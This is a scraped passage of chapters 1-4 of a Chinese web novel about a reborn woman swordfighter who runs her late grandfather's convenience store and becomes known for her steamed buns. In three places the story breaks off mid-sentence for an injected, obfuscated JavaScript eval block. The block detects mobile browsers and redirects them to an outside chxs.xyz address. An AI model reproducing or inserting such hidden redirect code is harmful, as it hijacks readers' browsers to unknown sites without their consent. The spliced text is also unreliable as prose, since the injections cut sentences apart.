《侠客便利店[美食]》 1. 第1章 元宵节后新年的气息渐渐淡下来,大家该上学上学,该上班上班,街上店铺都基本恢复营业。 q市,祥云街,这条街在本地人口中被称为老街,街上大都是一二十年前建成的两层建筑,偶尔夹杂着几座新建小楼房。 初春天气尚带着寒意,难得今天一大早就出太阳,不少人都从店里走出来边晒太阳边等生意上门。 “唉……小姑娘也挺不容易的……” “说得跟谁容易一样,她好歹是个大学生,还有这么座房子,不管要不要继续开店,都已经比很多人强多了。” “确实,她爷爷八十多岁也算是喜丧,就是老爷子估计遗憾没能看到孙女成家……” 人凑到一起就喜欢东家长西家短,此时几个晒太阳的人随口聊起来的对象是斜对面那家侠客便利店的前老板和现老板。 “侠客便利店”最开始是叫“侠客小超市”,由于店老板父子都很爱看武侠片所以才取这个名字,后来随着附近开起好多便利店导致小超市生意越来越差,老板就跟风改成“侠客便利店”。 这家店在祥云街开了快二十年,生意由起到落,店老板更是已经换了三代人,此时店内是个二十来岁的姑娘正在整理货架。 便利店有几个月没开门,货架上落了一层灰,明清欢边打扫边仔细打量,心里不由感叹此世界的物资丰富,竟然连零嘴都五花八门。 对比她所在的大齐,这个世界要美好太多,但她自认报仇雪恨后再无遗憾,实在不明白为何会借尸还魂再活一世。 明清欢回忆起月前,她与仇人同归于尽,结果再睁眼却是在寒冬腊月的水中。 根据原身留下的记忆,她生而丧母,十来岁时父亲也因意外去世,和爷爷相依为命长大。她最大的梦想就是考个好大学,找个好工作,让爷爷过上好日子,可惜树欲静而风不止,子欲养而亲不待。 爷爷葬礼过后原主一时有些想不开,于是就有了明清欢的到来。二人同名同姓,连年纪也相仿,可能正是这种缘分才造成现在的结果。 如果说原身的梦想是让爷爷过上好日子,那么明清欢的执念就是为家人报仇雪恨。由于仇人势力庞大,她从未想过报仇后还能苟活,如今来到此世,不得不说,曾经江湖第一女刀客此时却是难得有些迷茫。 “清欢!” 在明清欢将货架打扫得差不多时,店外忽然传来熟悉的声音,她立刻放下手里东西走出去。 “二叔。”明清欢心里有些疑惑他今天怎么会过来。 明二叔从面包车里下来,二话不说就开始搬东西:“我给你拿点家里自己种的东西。” 明老爷子一共有四个孩子,老大是明清欢父亲,老二是女儿,老三、老四是儿子。当初几个孩子结婚后明家就直接分家,明老爷子和老伴跟大儿子到了市里,其他两个儿子则是留在老家。 哪怕心里知道能去市里定居是大哥有本事,两个当弟弟的心里还是觉得父母偏心,因此兄弟关系渐渐有些疏远。但眼见父亲和大哥都不在了,明二叔哪还顾得上曾经那点小疙瘩,生怕侄女出什么事。 实际上他之前是想留侄女在身边看着,免得她一个人又胡思乱想,但侄女不肯,才只能送她回市里。想到如今侄女一个人过日子,明二叔不放心,于是干脆借着送东西为理由过来看看。 “不用,二叔你太客气了,家里都有这些。” 明清欢望着那百来斤一袋装的米啊面啊,还有整桶的油,赶紧伸手阻拦。 哪怕知道现在不缺粮,但看到那么多东西,她心里还是有些动容。要知道放在大齐,这么多东西都够一家人吃很久了。 “外面卖的哪有自家种的好。”明二叔不给她拒绝的机会,直接把东西往里搬。 “我一个人吃不完那么多……” “反正你这是开店的,吃不完就拿去卖。” 明清欢眼见实在拒绝不了,总不能光看他累死累活在那搬,便伸手去帮忙。 明二叔刚想说她搬不动,让她别动手时,就见她单手拎着袋玉米面走进店里,不由“嚯”了一声,夸道:“没想到你力气还挺大。” 明清欢可是刀客,力气自然不会小,如果不是怕吓着明二叔,她能一次把车上东西全搬下来。当然,对于这个身体既然继承了她的力气和三分内力,她早就感觉有些神奇,但总归是好事,便没有过多纠结。 两个人一起动手很快东西就全部搬完,明二叔边喝着侄女递过来的水边打量着店铺,心里忍不住叹气。 他大哥是个有本事的,把店从老家开到市里来,如果不是走得太早,那他侄女现在日子不知道会多好过。 “清欢啊,真不考虑回县里吗?你有大学文凭,回县里当个老师肯定轻轻松松,县里熟人多,也能有个照应。” 明清欢听到让她当老师,觉得自己还是不要误人子弟为好,下意识摇头拒绝:“不了,我爸和爷爷就留下这么家店,我想好好经营。” 说这话时她心里却是想起大齐,自家祖传的祥云酒楼。 明二叔觉得她一个大学生看店有点浪费那么多年读的书,不过以前他这个当叔叔的没怎么管过侄女,现在也不好意思过多干涉,便只交代她有事就给自己打电话。 侠客便利店是两层楼,楼下是门面,楼上则是小仓库加住宿房间。当年这条街新建起来时,这种带住房的门面可抢手了,明父是托了关系才买到。 从小超市改为便利店后,一楼设了个小厨房,明清欢眼见已经快中午,本来想去做点菜留明二叔吃个便饭,但明二叔却是没答应,表示自己下午还有事,得赶紧回去。 明清欢见他不留下吃饭,手速非常快地从店里拿了些吃的喝的赶紧塞进车里,算是礼尚往来。 目送明二叔离开后,她将店里卫生收尾,坐在椅子上开始有些不知道接下来要做什么。 “老板,有馒头吗?” 十一点左右,有个穿着校服的女生来到侠客便利店门口问。 明清欢眼神好,看到对方衣服上“实验中学”的校徽时就知道小姑娘应该是学生,哪怕从原主记忆中早就知道这个世界女子可以读书,单真看到女学生时,她心里还是下意识就浮现一句“真好”的感叹。 在大齐,女子别说读书,就连想继承家业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075118|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不可能,当初她想学厨艺时她爹就不同意,还是她爷爷疼她,愿意教她。 哪怕已经为家人报仇雪恨,想起他们时明清欢心里还是一阵刺痛,平复两秒呼吸才摇头回答:“没有。” 小超市和便利店的区别就是前者只卖吃喝日用,后者还有熟食。明父在时学其他便利店搞了烤肠、关东煮之类的吃食,他去世后烤肠机坏了,明老爷子也不会搞这些,就改成自己蒸点馒头卖,再做点快餐。 明老爷子馒头蒸得不错,加上很久没涨过价,店里馒头卖得倒是挺好,至于快餐,卖得只能算一般。 听到没有馒头卖,女生有点失望。 倒不是她有多喜欢吃馒头,主要是她家里重男轻女,一天就给五块钱吃三餐饭。如今物价疯涨,好多早餐店馒头都卖一块钱或者一块五一个,五块钱根本不够用。 她上个学期路过这边,偶然发现侠客便利店馒头一块五能买两个,而且店老板人很慈祥,还会送她辣萝卜,就爱到这边来买馒头吃。 “一块五的袋装泡面还有吗?有的话我买袋泡面。”泡面好吃,但一包泡面却不如两个大馒头顶饱,女生也就在这里敢买泡面吃,毕竟学校里袋装泡面都要卖三块。 明清欢思索几秒,找到她要的泡面递过去。 “可以借点开水吗?”女生有点不好意思。 明清欢早上刚烧了热水,见她有需要直接将暖水瓶递过去,就看到她从袋子里拿出饭盒开始泡泡面。 泡面这玩意偶尔吃一吃还是很香的,随着面饼被热水泡软,面香和调料包的香味随着热气升腾,闻起来还挺诱人。 明清欢想到自己还没吃午饭,干脆也拿了袋泡面跟着泡起来。 女生听到动静见她也在吃泡面,莫名感觉她好亲近几分,于是终于没忍住问出压在心里的话:“姐姐,之前那个爷爷呢?” 明清欢猜她估计是店里的老顾客,手上动作停顿一瞬才回答:“去世了。” 女生愣住,想到老人那慈祥的面容心里有点难过,但嘴巴却是说不出话来,店内气氛瞬间显得有些安静。 几分钟后泡面泡好了,女生犹豫两秒还是低下头吃起来,淡黄色的面条卧在微红的面汤里,她大口吃着,一块多钱的泡面愣是被她吃出大餐感,甚至连汤都不放过。 看到她吃得那么香,明清欢拿起筷子开始用餐。泡面吃起来口感不够爽弹,不过面香倒是很足,她在江湖风风雨雨那么多年吃过不少苦,哪怕自己手艺不错却也不会挑食,端起碗吃得比女生还快。 泡面这种东西一包吃不饱,两包又吃不完,女生每次都要把汤喝干净才能混个水饱,不过这样下午就很容易饿。她吃完泡面抬头发现老板姐姐也把泡面汤喝掉了,胆子终于放大一点,试着问:“姐姐,明天有馒头卖吗?” 泡面虽好,但她感觉还是馒头更填肚子,而且三块钱买四个馒头省点能吃三顿。 明清欢想到二叔送过来的那些米面,点头道:“有。” “太好了,那我明天过来买。”女生说完准备离开,走之前终于鼓足勇气说了句安慰话,“爷爷是个好人,你别太伤心。” 2. 第2章 女生离开后,明清欢拿起泡面碗去厨房清洗。水龙头打开就有水出来,哪怕已经不是第一次使用还是让她忍不住在心里感叹声实在方便。 收拾好碗筷明清欢坐在店里出了会神,最终视线落在墙角的老式电视机上。 明老爷子以前守店时没事就喜欢看看电视,遥控器就放在收银柜上。明清欢伸手拿起遥控器,按照原主记忆打开电视。 电视打开播放的是戏曲频道,换做普通大学生可能不感兴趣,但明清欢见电视机一打开就在唱戏,却是下意识就看起来。 倒不是说她之前在老家时没见过电视,主要那会她刚穿过来,生怕让人发现不对,根本顾不上去研究现代的各种“机”。 在明清欢看电视时,陆陆续续有些顾客上门买东西,偶尔有性格外向的顾客看到戏曲频道,还笑着跟她搭了几句话。 还处于适应阶段的明清欢本着少说少错的原则,她话并不多,别人找她说话才简单应两声。 电视对她来说实在新奇,光是戏曲频道就让她看了一个小时都不觉得无聊,等后面换到其他频道,更是看得目不转睛。 看电视时时间过得特别快,不知不觉间外面太阳已经落山,天色开始暗下来。今天便利店客流量不算多,收入才刚破百,纯利润更是少得可怜,幸好店铺是明清欢自家的,不然加上房租费用,怕是还得倒贴钱。 “老板你怎么不开灯?” 街上路灯已经亮起,有人进便利店里买水喝时随口问了句,等人走后明清欢顺手将灯打开,随即站在门边望着外面。 比起日出而作日落而息的古代,现在这个时间点,该放学的放学,该下班的下班,街上人反而比白天更多些。 明清欢站在门口看了会不属于她的热闹,在闻到随风飘过来的饭菜香时才转身去厨房做晚饭。 今天明二叔送来不少东西,厨房里食材还真不少。明清欢行走江湖数十载,也染上几分江湖人今朝有酒今朝醉的洒脱,有条件的情况下向来不会委屈自己。 她将白面舀出来一碗,手法娴熟地揉好拉成面条,又切了些肉沫炒香,最后再煎上两个鸡蛋加上些青菜。 今天明二叔还送来一瓶自家榨的香油,明清欢在面出锅时加了几滴,那叫一个香。 用新面现拉的面条,再加上肉、蛋、新鲜蔬菜,面汤里还加了点香油,随着她把面煮好,香味顺着厨房飘满整个便利店,又从店里渐渐被风吹到街上,可把路人给馋得不行。 “谁家在煮面?闻起来也太香了吧……” “好香啊!要不我们晚上去吃面?” “附近有卖面的店吗?这香味太诱人了,我想吃这家的面!” 附近倒确实有家拉面馆,然而路人找过去时,却感觉拉面的香味没有刚刚闻到的那么香。 倒是有人鼻子挺灵,直接顺着味找到侠客便利店。 “啊,这是便利店,不是卖面的……” 听到女朋友声音里带着遗憾,男人开口嫌弃道:“这老板真不会做生意,手艺那么好不开餐馆开什么便利店,还取这种奇奇怪怪的名字,生意能好才奇怪。” 他话刚说完,明清欢正好端着面从厨房里出来,闻言下意识抬眸。 她眸光中其实并不带什么情绪,但男人却是下意识避开眼,他女朋友更是有点替他尴尬,赶紧拉着他跑路。 明清欢收回目光开始用晚餐,她饭量不小,一锅面没多久就被全部解决完。 等她用完晚饭,外面天早已经黑透,街上却是一片灯火通明。明清欢并没有什么困意,见附近店铺都还在开门做生意,便也入乡随俗,继续边看电视边守店。 晚上店里倒是来了好几单生意,基本都是小孩过来买玩具或者零食。才过完年没多久,小孩们手里有压岁钱,花钱倒是挺舍得,几单加起来都快赶上白天赚的钱。 明清欢第一天的开店生活略有些平淡,不过正是这种平淡,让她关店后躺在二楼的卧室里,心中却是莫名平静下来。 习武之人不需要太多睡眠,次日天刚蒙蒙亮她就已经完全清醒过来。 站在二楼窗口往下望,街上路灯还没有熄灭,对面那整排店铺更是除了二十四小时营业的网咖外,全部都没开门。 明清欢洗漱完下楼,想到昨天答应要卖馒头,干脆进厨房开始揉面。 明二叔送过来的除了白面还有袋玉米面,她闻着玉米面散发出来的清香,干脆揉了两种面出来做馒头,一种是纯白面馒头,一种是玉米面掺白面。 揉面是个力气活,但对明清欢来说完全不算事,发面的技巧她更是深得爷爷真传,闭着眼睛都能发出完美的面团。 当然,她说的爷爷并不是此世的爷爷,而是她在大齐的亲爷爷,她五岁时就爱跟着爷爷学厨艺,爷爷经常夸她有灵性,一点就通。若非十岁那年家中遭逢意外,她或许会继承爷爷的厨艺,而不是在江湖中经历种种风雨。 为家人报仇雪恨前明清欢甚至不敢多回忆从前,每想一次就痛一次,如今大仇得报,她脑海中却是浮现起小时候和爷爷学厨艺的一幕幕。 “欢欢你记住,面剂子切好后发酵是关键,如果发得太过,整出来的馒头就会过于软,失了筋道……” “爷爷,要怎么知道面剂子有没有发好呢?” “用手点上去看回弹,回弹比较慢就用冷水蒸,回弹比较快就用开水蒸。” 明清欢回忆着曾经爷爷教自己做馒头的画面,伸手轻轻点上面剂子,很多年没哭过的她眼眶忽然有些微红。 她小时候虽爱厨艺,但也好玩,总觉得以后还能跟爷爷慢慢学,基本上是学一段时间就要去玩。可惜当时只道是寻常的日子,如今却再难回去。 回忆归回忆,却并不影响明清欢手上动作,随着外面天完全亮透,厨房里馒头已经上蒸笼开始蒸上。 由于是第一次用煤气灶蒸馒头,明清欢为了掌握火候,一直待在厨房里守着,而随着蒸笼上热气升腾,水气带着馒头特有的香味顺着厨房窗口飘出去。 这个时间点,附近只有早餐店已经开门,像是服装店、鞋店之类门还关着。街上偶尔有人匆匆走过,或是送孩子去上学,或是赶着去上班。 “妈妈,是什么这么香啊?” 背着书包的小朋友闻见香味,停下脚步抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075119|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看妈妈。 孩子妈妈心里也觉得确实很香,视线下意识左右扫过,好奇哪家蒸出来的馒头闻着这么诱人,嘴上随口回道:“是别人在蒸馒头。” “妈妈我想吃馒头!” 白面馒头的麦香和玉米馒头带着清新和自然甜味的气息,大清早的简直不要太勾人食欲。小朋友听到妈妈的回答,立刻露出想吃的表情。 “你们学校有馒头,想吃去学校吃。”孩子妈妈没看到到底是哪在蒸馒头,怕耽误上学时间,牵着儿子的手想拉他离开。 “我不要吃学校的馒头,学校的馒头不好吃!” “馒头都差不多,说不定这就是你们学校蒸馒头的香味。”孩子妈妈随口哄着,赶紧拉着他继续往前走。 小朋友运气实在不好,他前脚被妈妈拉走没多久,后脚明清欢就将店门打开,一股更加浓郁的馒头香瞬间从店内涌到街上。 两个在网咖通宵打游戏的青年刚准备回家睡觉,结果就闻见馒头香,被香味勾起来的食欲让他们人都瞬间清醒几分,顺着香味找到侠客便利店。 他们进店时,明清欢刚吃完早餐将厨房里蒸好的馒头拿出来摆到带保温的玻璃柜台里,那一个个表面光滑,大小完全相同的馒头,光看卖相就让人特别想咬上一大口。 “老板给我来三个,不,来四个馒头。” “我也要四个,每样两个。” 二人看到色香味俱全的大白馒头和玉米馒头,连价格都不问直接道。 明清欢点头应了一声,直接拿袋子装好馒头给他们递过去:“一共六块钱。” 两个人掏出手机扫完码就赶紧接过馒头往嘴里送,那松软又筋道,咀嚼间渐渐透出的香甜气息,比想象中还要好吃。 太好吃了! 黑衣青年只感觉自己从来没吃过这么好吃的馒头,那扑鼻而来的香气,咀嚼间微微的甜味与谷物特有的清香在口腔中蔓延,让人有种拥抱大自然的感觉。 不光是他,他朋友同样有被馒头味道给惊艳到,感觉自己以前吃的简直都是假馒头。 明清欢做的馒头不算特别小,结果两个青年站在原地竟然几分钟不到就啃完四个馒头,随即眼睛发亮地喊着:“老板再给我装十个!” “你们吃得完吗?”明清欢怕他们浪费,边装馒头边下意识问一句。 “吃不完带回去给家里人尝尝,老板你家馒头太好吃了,我从来没吃过这么好吃的馒头!” 两个青年觉得她家馒头不光好吃,价格还实惠,在询问过后得知只有馒头卖,干脆在店里又买了些牛奶和零食。 二人刚刚在店里才吃完四个馒头,买完东西出来时手里还拿着个馒头边走边吃,显然是刚刚没吃够。 “太好吃了,我人生中第一次get到了馒头的美味!” “确实好吃,这松软又筋道的口感,感觉比面包还好吃。” 黑衣青年手里捏着个黄灿灿的玉米馒头,馒头表面光滑细腻,咬开的口子里露出松软的馒头内陷,光看卖相就感觉肯定好吃。 这不,两个人边走边吃时,有人忍不住凑上前问:“你们馒头在哪买的?” 3. 第3章 “在前面便利店买的,味道特别好。” 两个青年热情推荐,问话的人闻言道完谢立刻就往便利店方向走。 侠客便利店。 明清欢在江湖上行走时哪有那个闲情逸致蒸馒头,今天早上回忆着往事,不知不觉就做出好多馒头,她本来还担心卖不完,没想到馒头一开卖,接下来店里顾客却是越来越多。 “我要五个白馒头,五个玉米馒头。” “给我来六个白馒头。” “我要十个……” 店内馒头香味更加浓郁,找过来的顾客都没少买,而且基本上都是刚拿到馒头就忍不住站在原地掏出一个吃起来。 刚蒸出来的馒头捏在手里松软温热,一口咬下去,谷物的清香和筋道的口感,简直越吃越美味。 “你这馒头是自己做的吗?”有个中年人忍不住询问,得到肯定的回答后一个劲夸,“你这馒头蒸得太好了,比我妈蒸的馒头还好吃。” 明清欢见自己手艺受欢迎,心里还挺有成就感。 当然,同时她还有点小疑惑,毕竟从原主记忆中不难看出,这个世界物质有多丰富,她其实对自己做的馒头如此受欢迎有点小意外。 其实也不奇怪,馒头看起来简单,但想做好还是需要些技巧,而现在社会越来越浮躁,现在不少早餐店甚至卖的都是速冻馒头,愿意自己蒸馒头,并且还蒸得好吃的店真是越来越少。 这不,买到馒头的顾客个个都特别高兴,边夸边表示明天还要来光顾。 李家。 李母拎着袋馒头回到家,声音愉悦地招呼道:“吃饭了,我买了馒头。” 听到馒头,她儿子和儿媳妇都下意识皱眉,当儿媳妇的不好说什么,但儿子却不客气。 “馒头有什么好吃的,妈你要买也买点包子或者油条回来啊。” 李母:“外面卖的包子谁知道是用什么肉做的,油条的油也不知道好不好,还不如吃点馒头,馒头健康,而且这家馒头你们尝尝就知道了,特别好吃。” “馒头有什么好吃的。” 李家儿子吐槽完看向妻子,小声道:“我带你出去吃早餐。” 小夫妻俩商量着要出去吃早餐时,他们两岁不到的女儿却是已经闻着味跌跌撞撞跑到奶奶那边,伸出手“啊啊”叫个不停。 “你要馒头啊?”李母低头望着孙女,拿出个馒头笑着问。 “啊要呀!” 小孩的手速那叫一个快,白面馒头才在她面前一晃就被小家伙用肉爪爪抓住,低头直接咬上去。 “哎呦,我们珠珠都会吃馒头了,馒头是不是好吃?” 珠珠爸妈闻言看过来,就见女儿抱着个馒头大口咬着,然而牙都没长齐的小家伙,一口下去馒头才破个皮。 “好家伙,两口下去馒头才轻伤。”孩子爸爸打趣完,闻着馒头特有的香味,忽然感觉他妈今天买的这馒头看起来还挺诱人,顺手从袋子里拿起一个。 这馒头…… 他咀嚼两口后就发现,这馒头确实还挺好吃,而且越嚼越香,顿时忘记刚刚说要出去吃早餐的话,又伸手从袋子里拿起个玉米馒头,左右开弓吃起来。 白馒头麦香更浓些,玉米馒头则是带着玉米特有的清香,咽下去后嘴里还残留着那股香味,而且余味回甜。 “我就说这家馒头好吃吧!别光吃馒头,厨房里还有粥和榨菜。”李母说完见儿子吃得停不下来,没好气地瞪他一眼后自己去厨房端粥。 珠珠妈妈看到自家老公那个吃相就知道肯定味道不错,坐下来拿起个玉米馒头。 还挺漂亮。 在心里夸了句馒头的卖相,她张口咬上去,馒头表面光滑细腻,内里松软不失韧劲,配上玉米特有的清香和淡淡甜味,吃得她眼睛瞬间亮起来。 好吃哎! “别光吃馒头,喝点粥。” 看到刚刚还嫌馒头有什么好吃的儿子儿媳妇吃得嘴都不停,李母将粥放到他们面前,等低头看到自家宝贝孙女坐在小板凳上努力用小米牙啃着馒头,吃得那叫一个认真时,脸上露出慈祥的笑容。 “妈你这馒头在哪买的?太好吃了,感觉比面包还好吃,尤其是馒头皮,吃起来又韧又香。”珠珠妈妈撕下馒头皮送进嘴里,只感觉自己从没吃过如此美味的馒头。 “就在旁边那家侠客便利店。”李母说完,自己也拿起个馒头就着粥吃起来。 刚刚还嫌弃馒头不好吃的小夫妻俩直接真香了,此时连粥都不喝,一个馒头接着一个馒头地啃着,越吃越觉得好吃。 本身之前过年大鱼大肉就吃太多,最近吃什么都有点没胃口,现在吃点满是谷物清香的馒头,简直不要太舒服,连胃口都打开不少。 家里就四口人,还有个小宝宝,李母想着十个馒头怎么也够吃,结果没多久袋子里馒头就一个接一个消失。 珠珠妈妈抢走袋子里最后一个馒头,还忍不住告状:“妈你看他,馒头都让他吃完了!” “我就吃了五个。”珠珠爸爸肚子已经有点饱,但嘴里还有点没吃够。 李母见他光吃馒头不喝粥,没好气白他一眼:“吃了五个还不够?” 确实有点没吃够的珠珠爸爸低头看向自家卖力啃了半天也没啃多少馒头的女儿,直接张嘴对着她手上馒头咬了一大口。 小家伙抬头看看爸爸,低头看看馒头,随即哇地一声哭起来。 “你又吃不完,爸爸帮你吃一口怎么了?”珠珠爸爸看到女儿哭了,他妈则是伸手要打他,赶紧抱着女儿边哄边往外跑,“走走走,爸爸带你买馒头去……” 还好他跑得快,不然绝对逃不过他妈和他媳妇的混合双打。 李家就在祥云街边上,他抱着孩子一路小跑,几分钟就到达侠客便利店。 好东西是真不愁卖,此时店里还围着好几个客人在买馒头,明清欢拿袋子装馒头的手就没停过。 “老板可以先给个馒头我哄哄孩子吗?” 珠珠爸爸抱着怀里虽然没有再扯着嗓子哭,但委屈巴巴看起来更加可怜的女儿,走到玻璃柜台前商量。 明清欢抬头望捧着个被咬掉半边的馒头露出哭唧唧表情的小宝宝,直接拿个馒头递过去。 本来还有点哼哼唧唧的小家伙立刻伸出手抱住,低头小嘴巴咬上去。 “这么点大就吃馒头了?几岁了?” 店里其他顾客看到这么可爱的小孩,都忍不住打量起她来。 “一岁多快两岁了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075120|163332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>珠珠爸爸说完抱着孩子排队,等前面的人买完开口道:“再来九个馒头,加上她手里这个一共凑十个。” 他现在是吃不下多少,但想着这么好吃的馒头,可以买回去中午或者晚上吃,反正家里人都爱吃。 “不好意思,只剩四个了。” 明清欢今天蒸的馒头其实挺多,但耐不住买馒头的顾客也不少,而且基本上都是五个十个的买,还有个顾客甚至直接买了二十个。 “那不是还有几个吗?”珠珠爸爸指着玻璃柜台里说。 “昨天有顾客预定了,得给她留着。”明清欢没想到馒头会那么好卖,都忘记提前给昨天那个小姑娘留出来,但她记性不错,自然不会忘记这件事。 由于不知道小姑娘要多少,她干脆照十个馒头留,所以只剩四个能卖。 珠珠爸爸闻言不好再说什么,将已经不哭的女儿放下来,接过那四个馒头开始掏手机付钱。 他买完馒头就准备带女儿回家,但对小朋友来说,馒头固然很有吸引力,店里的糖果、玩具同样很诱人,一手抱着馒头啃啃啃,空出另外一只小手就开始抓自己感兴趣的东西。 最后等父女二人离开时,珠珠爸爸又掏钱给女儿买了糖和玩具。 目送顾客离开,明清欢将玻璃柜台收拾好,开始算账。 就上午这一会工夫,蒸的馒头全部卖出去不说,还有不少买馒头的顾客顺便买了点牛奶、榨菜等东西,收入比昨天一天加起来都要多得多。 明清欢物欲并不高,对她来说,有吃有喝有穿有住就很好,因此算完账发现守着店养活自己绰绰有余,她心情还不错。 “老板,还有馒头吗?” 十点多时,有回头客过来想买点馒头中午或者晚上吃,没买到后有些失望:“那我明天再来买,老板你明天可得多做点馒头。” “行。”明清欢觉得做馒头又不费什么劲,见顾客喜欢她做的馒头,随口应下。 接下来店内生意只能算一般,只偶尔有零散顾客上门来买点小东西。 十一点多,昨天那个女生来到店里,得知有馒头后露出高兴的笑脸。 “谢谢姐姐。” “不客气。” 女生每种馒头要了三个,明清欢拿袋子装好递过去,收到她递过来的四块五毛钱。 侠客便利店离实验中学有点距离,步行要十来分钟,女生今天没在店里吃饭,而是拿好馒头就小跑回学校,想着赶紧到班上吃完好做题。 女生叫吴佑南,刚买到馒头时就感觉好像比上学期的馒头看着要更诱人些,等回到教室,她从袋子里拿出个玉米馒头,头一次发现馒头还能做得这么漂亮。 长方形的馒头形状完美,表皮更是光滑细腻到泛着微微光泽,她多看两眼才将馒头送进嘴里。 天气还有点冷,馒头拿到教室只剩微微余温,但口感吃起来却依旧松软又筋道。吴佑南经常拿馒头当饭吃,对馒头早就有点吃腻歪,但这口玉米馒头却让她越吃咀嚼动作越不自觉加快。 这馒头好好吃啊! 毕竟还是个十几岁的小姑娘,吃到出乎预料的美味,她眼睛都微微亮起来,甚至忍不住低头看向手里的馒头,不明白为什么都是馒头,它却这么好吃。 4. 第4章 “吴佑南你在吃什么?” 教室里除了吴佑南外还有几个学生在,坐在她前排的女同学看到她吃东西吃得那么香,有被馋到。 吴佑南头也不抬地回答:“玉米馒头。” “看起来挺好吃的样子,你在哪买的?”女同学问完得知是在距离学校十几分钟的地方,更加想尝尝是什么馒头能让她跑那么远去买。 她掏出两块钱凑到吴佑南那边,商量着想买一个馒头尝尝。 “琳琳你怎么连馒头也馋啊?”同桌笑着打趣。 成功花两块钱从吴佑南手里买到个玉米馒头的琳琳举着馒头道:“你瞧这馒头,简直像美食游戏里拿出来的一样完美,看着就知道肯定好吃!” 黄灿灿的馒头散发着淡淡玉米气息,表皮光滑,形状完美,卖相确实无可挑剔。 同桌:“卖相确实不错,但越是这种好看的馒头就越可能是工厂加工出来的。” 她这话说得有点道理,但买都买了,琳琳还是低头吃起来。 “哇哦,这馒头好吃哎,比我们学校食堂卖的馒头好吃一百倍!” 学校食堂里的馒头倒确实是食堂大厨亲手做的,但水平很不稳定,有时候吃着还凑合,有时候却是蒸得偏硬,或者碱放多了一股子怪味。 琳琳是个吃货,由于学校馒头太难吃,她已经很久没吃过馒头,此时两口玉米馒头下肚,明明刚刚已经吃过零食当午餐的她忽然又感觉饿了,大口大口咀嚼起来。 其实也正常,零食毕竟不是正餐,过过嘴瘾还行,真论饱腹感,那还得是主食。 “太好吃了,吴佑南你还有馒头吗?再卖一个给我吧……” 琳琳吃到只剩最后两口馒头时感觉根本不够吃,眨巴着眼睛望着吴佑南。 一块五两个的馒头转手能卖四块钱,吴佑南自然不会不答应,掏出袋子问:“你要玉米馒头还是白馒头?” 袋子里还剩下三个白馒头,一个玉米馒头。 “白馒头好吃吗?”琳琳觉得玉米馒头特别好吃,但又有点好奇白馒头。 吴佑南:“好吃,她家馒头都特别好吃。” 琳琳听到这个回答,又掏出两块钱买了个白馒头,一口咬下去,那纯粹的麦香和咀嚼间渐渐产生的甜味,让她不由微微晃着脑袋:“这才是好吃的馒头,学校食堂做的都是什么鬼,他们自己把粮食做得那么难吃,还好意思怪我们浪费。” 看到她空口马上就要吃掉两个馒头,同桌好奇心被勾起,忍不住也拿钱跟吴佑南买了一个。 买之前她还想着馒头再好吃能好吃到哪去,买之后她只想说,她以前吃的都是假馒头吧! 最终吴佑南买的六个馒头她自己就吃了两个,剩下四个全部被同学买走,但八块钱的收入却是让她心里有点开心。 侠客便利店。 明清欢还不知道,她家馒头第一天开卖就惊艳到好多人,大家都等着明天过来买馒头。 她简单吃过午餐后就坐在店里看电视,看得那叫一个专心,直到一集电视放完,她起身准备喝点水时,忽然听见门口有细碎的声音,瞬间警惕起来。 不过等转头看到外面街上来来往往的行人,她忽然反应过来这里已经不是大齐,眸光中的冷意渐渐隐去,顺着声音走到门边,发现原来是只黑不溜揪的鸟不知什么时候钻进来,藏在门后面发出动静。 明清欢伸手将它抓出来,打量两眼就认出是只小八哥,看身上羽毛杂乱的模样,很可能是被猫或者什么动物扑捉过。 “啾……” 她本来想把鸟拿到外面放飞,结果小八哥窝在她手心发出叫声,却怎么都不飞。 明清欢检查两遍没看出它有受伤,不确定它到底是饿了还是被吓到,干脆找个纸箱放进去,又随手掰了点剩馒头和水放到旁边。 她今天追的剧是老版西游记,西游记作为男女老少都喜欢的电视剧之一,对于在古代没有什么娱乐生活的明清欢来说,简直不要太好看。 因此随着电视里放完广告开始播放片头曲时,明清欢立刻将容纳八哥的纸箱随手放到脚边,坐回椅子上继续追剧。 在她沉迷看猴时,纸箱内原本受到惊吓抖动羽毛的八哥似乎被馒头香味吸引,它先是动动眼珠子,随即动着脖子左右打量起来,最后不知是不是确定安全,蹦跶两下跳到馒头前面。 明清欢给它揪的馒头块不大,八哥先是试探着啄一小口,随即嘴巴就没停过,连啄啄地将馒头全部吃进肚子,连碎屑都没放过。 吃完它又喝了点水,胆子似乎开始大起来,抖抖羽毛仰头“啾啾”叫起来。 “别吵。” 